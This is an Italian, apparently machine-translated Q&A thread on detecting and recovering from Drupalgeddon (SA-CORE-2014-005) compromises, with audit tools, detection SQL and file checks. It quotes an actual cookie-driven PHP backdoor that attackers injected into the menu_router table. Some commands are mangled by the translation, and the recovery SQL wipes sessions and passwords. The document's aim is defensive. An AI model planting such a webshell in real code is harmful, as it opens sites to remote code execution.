Drupal SA-CORE-2014-005 - Come sapere se il mio server / i miei siti sono stati compromessi?

Ho appena aggiornato tutti i miei siti utilizzando il metodo patch per risolvere l'exploit Drupal SA-CORE-2014-005. Ho appena letto i resoconti che proprio ieri c'è qualcuno di un IP russo che si sta infiltrando nei siti di drupal.

https://www.drupal.org/SA-CORE-2014-005

Le mie preoccupazioni principali sono ora:

• Come faccio a sapere se i miei siti sono stati inclusi?
• Cosa devo cercare nei miei log di accesso di Apache per rilevare se il mio sito è stato una vittima o no?
• Finora cosa stanno facendo questi hacker su siti compresi?

Ecco alcune query SQL che possono essere eseguite sui DB del tuo sito per verificare la presenza di utenti con privilegi di amministratore e quali di questi hanno avuto accesso al post del sito il 15 ottobre.

http://www.drupalden.co.uk/sql-queries-find-users-roles-admin-privileges-drupalgeddon-drupal-sa-core-2014-005

Se stai leggendo questo articolo e speri di controllare un sito Drupal 7 più di un mese dopo l'exploit, probabilmente è già stato violato il tuo sito . La soluzione migliore è ripristinare un backup prima dell'inizio degli attacchi e procedere da lì.

C'è una FAQ su SA-CORE-2014-005 .

Come faccio a sapere se i miei siti sono stati compromessi?

Un modo per verificare rapidamente se i siti sono compromessi è con il comando drush Drupalgeddon.

• https://www.drupal.org/project/drupalgeddon

Installa al tuo ~/.drushcondrush dl drupalgeddon

Quindi utilizzare drush drupalgeddon-testper testare. Gli alias Drush lo rendono facile e veloce.

Questo strumento può confermare un sito sfruttato, ma non può garantire che il tuo sito non sia stato sfruttato. Non esiste un "buono stato di salute pulito" a meno che non sia stato aggiornato prima dell'inizio degli attacchi.

Il modulo di audit dei siti include alcuni dei controlli di Drupalgeddon e fornisce anche input molto più utili. Lo consiglio vivamente. (EDIT: Ora lavorano insieme - super bello!)

• http://drupal.org/project/site_audit

Security Review non controlla gli attacchi di Drupalgeddon, ma vale la pena averlo anche nella cintura degli strumenti.

• http://drupal.org/project/security_review

Se la base di codice del tuo sito era scrivibile per l'utente www, puoi anche verificare la presenza di codice modificato utilizzando il modulo compromesso. Questo modulo potrebbe non fare quello che pensi basandoti solo sul suo nome :)

• http://drupal.org/project/hacked

Sebbene non esista un solo modo per identificare tutti i siti compromessi, questi strumenti possono aiutarti a identificare le indicazioni più comuni.

Cosa devo cercare nei miei log di accesso di Apache per rilevare se il mio sito è stato una vittima o no?

I tuoi log di accesso conterranno molte richieste POST ormai. A meno che tu non abbia fatto il passo insolito di registrare tutti i dati dei post prima del bug, è improbabile che tu abbia le informazioni per dire quali di questi sono dannosi.

Finora cosa fanno questi hacker ai siti compromessi?

Molti segnalano che i loro siti sono stati corretti dagli hacker! Come attaccante, questo ha senso: non vuoi che il tuo nuovo sito dirottato venga espulso da sotto di te dal prossimo attaccante :)

A parte questo, immagino che i siti vengano utilizzati per raccogliere tutti i dati preziosi presenti (forse prendere alcuni crediti, forse sollevare i dettagli delle transazioni dopo lo sfruttamento) e fare cose noiose come inviare spam e lavorare come umili schiavi botnet. Oh, e amplia ulteriormente l'impero dell'attaccante di siti Drupal dirottati. (Mi dispiace, non ho siti hackerati da osservare.)

Alcuni controlli per attacchi comuni sono (questo non è un elenco esaustivo, ma sono alcuni degli attacchi visti finora in natura):

• Controlla il tuo account utente 1 per assicurarti che il suo nome utente, indirizzo e-mail o password siano quelli che ti aspetti che siano. Controlla anche tutti gli altri account utente che hanno livelli elevati di autorizzazioni, se possibile.
• Verifica la presenza di nuovi account utente che sembrano sospetti.
• Controlla le modifiche ai ruoli sul tuo sistema, ad esempio nuovi ruoli o ruoli rinominati.
• Controlla le modifiche alle autorizzazioni. L'aspetto più importante di questo è assicurarsi che il ruolo utente anonimo (o altri ruoli che chiunque può iscriversi per ottenere) non sia stato modificato per consentire loro un maggiore accesso.
• Verifica la presenza di nuovi blocchi personalizzati che potrebbero contenere codice dannoso.
• Verifica la presenza di nuovi nodi personalizzati che potrebbero contenere codice dannoso.
• Controlla i file sul tuo file system che non dovrebbero essere lì. Questo è facile se usi il controllo versione perché puoi fare git status o svn st per vedere se ci sono nuovi file.
• Se hanno caricato file dannosi, è possibile controllare i registri di accesso per individuare hit su nomi di file strani con cui non si ha familiarità.

• Controllare la tabella del database del router del menu per voci dannose. Ad esempio (il modulo drupalgeddon / plugin drush su drupal.org ha un buon script per controllare questa tabella in modo più approfondito):

  SELEZIONA * DA menu_router DOVE access_callback = 'file_put_contents';

• È anche possibile sfogliare la tabella del router del menu per voci dall'aspetto strano.

Alcune cose che gli hacker stanno cercando di fare sono:

• Inserisci i file di script php sul tuo sito che possono quindi eseguire colpendoli in un browser. Questi script possono fare una vasta gamma di cose dannose. Ciò si ottiene aggiungendo voci di router del menu dannoso.
• Crea account per gli utenti amministratori affinché possano usarli per fare cose cattive sul tuo sito o subentrare nel tuo sito.
• Modificare l'indirizzo e-mail dell'utente 1 in modo che possano reimpostare la password per quell'account e rilevarlo.
• Modifica le autorizzazioni per i ruoli utente accessibili al pubblico.
• Aggiungi blocchi / nodi / ecc. che può contenere codice dannoso. Se hai attivato il filtro PHP, questo è ancora più un problema.

Sfortunatamente ci sono così tante cose che un utente malintenzionato potrebbe fare nel tuo database che è piuttosto difficile fornire un elenco completo di possibilità. Potrebbero fare cose che provano a ottenere il controllo del tuo sito, oppure potrebbero semplicemente rompere il tuo sito ma eliminando tabelle o colonne del database, ecc.

Potrebbero anche apportare piccole modifiche alla configurazione del sito, come cambiare il nome del tuo sito o qualcosa del genere, che non è la fine del mondo ma è ancora problematico.

Fondamentalmente, qualsiasi cosa tu possa fare nel tuo database eseguendo un comando SQL, un attaccante potrebbe teoricamente farlo.

Tutti i moduli citati nella risposta di Chris Burgess sono molto utili per controllare queste cose.

Penso che seguirei il consiglio drupal.org " Dovresti procedere supponendo che ogni sito Web di Drupal 7 fosse compromesso a meno che non fosse aggiornato o aggiornato prima del 15 ottobre, alle 23:00 UTC, cioè 7 ore dopo l'annuncio ". Come ha detto Bevan in questo commento "Aggiornamento o patch Drupal non corregge le backdoor installate dagli attaccanti prima di aggiornare o patch Drupal."

Bevan ha anche realizzato il seguente diagramma del flusso di lavoro per aiutarti ad analizzare se potresti essere stato infettato e come recuperare e prevenire . Tuttavia, chiede a tutti di andare al suo articolo originale per assicurarsi di disporre dell'ultima versione del flusso di lavoro. Inoltre, Acquia pubblica un articolo interessante sugli attacchi e sui modelli che ha subito in Acquia Cloud

Citazione da: https://www.drupal.org/node/2357241#comment-9258955

Questo è un esempio del file che viene inserito nella tabella menu_router colonna access_callback:

a:2:{i:0;s:22:"modules/image/vzoh.php";i:1;s:147:"<?php $form1=@$_COOKIE["Kcqf3"]; if ($form1){ $opt=$form1(@$_COOKIE["Kcqf2"]); $au=$form1(@$_COOKIE["Kcqf1"]); $opt("/292/e",$au,292); } phpinfo();";}

Come puoi vedere sta cercando di creare i file module / image / vzoh.php ma dato che ho solo i permessi di lettura all'interno di quelle directory con cui php fallisce.

Rapporti di persone che trovano file simili creati facendo una ricerca nella tua directory di drupal: https://www.drupal.org/node/2357241#comment-9260017

Quello che ho fatto è stato fare il seguente comando:

ack --type = php 'php \ $ form'> hacked_searched_php_form1.txt

==================

Citato da: http://www.paulbooker.co.uk/drupal-developer/command-lines/5-commands-help-drupalgeddon

Visualizzazione dei file che sono stati modificati sul server live: stato git

Ricerca di tentativi di esecuzione del codice tramite menu_router: selezionare * da menu_router dove access_callback = 'file_put_contents'

Mostrare quali file si trovano sul server live e non nel controllo versione: diff -r docroot repo | grep docroot | grep 'Solo in docroot'

Trovare file PHP nella directory dei file: trova. -path "* php"

Verifica del tempo che intercorre tra il momento in cui un utente ha effettuato l'accesso al tuo sito e la sua visita alla pagina più recente: seleziona (s.timestamp - u.login) / 60/60/24 AS days_since_login, u.uid dagli utenti interni delle sessioni su s.uid = u.uid;

Un ottimo elenco di comandi per dire se sei stato compreso.

http://www.paulbooker.co.uk/drupal-developer/command-lines/5-commands-help-drupalgeddon

Commands that help with auditing:

Showing files that have changed on the live server:

?
1
git status 
Looking for code execution attempts via menu_router:

?
1
select * from menu_router where access_callback = 'file_put_contents'
Another possible code execution attempt via menu_router:

?
1
select * from menu_router where access_callback = 'assert';
Showing which files are on the live server and not in version control:

?
1
diff -r docroot repo | grep 'Only in docroot'
Looking for PHP files in the files directory:

?
1
find . -path "*php"
Looking for additional roles and users:

?
1
2
select * from role
select * from users_roles where rid=123
Checking the amount of time between when a user logged into your site and their most recent page visit:

?
1
select (s.timestamp - u.login) / 60 / 60 / 24 AS days_since_login, u.uid from sessions s inner join users u on s.uid = u.uid;


Commands that can help with recovery:

Apply the patch. Hotfix: (SA-CORE-2014-005)

?
1
curl https://www.drupal.org/files/issues/SA-CORE-2014-005-D7.patch | patch -p1
End active sessions, i.e log everyone out.

?
1
truncate table sessions;
Updating passwords:

?
1
update users set pass = concat('XYZ', sha(concat(pass, md5(rand()))));

Puoi verificare se il tuo sito Web è stato violato con questo strumento online:

Drupal Check: The EngineHack

Ovviamente ha i suoi limiti, ma è un buon punto di partenza.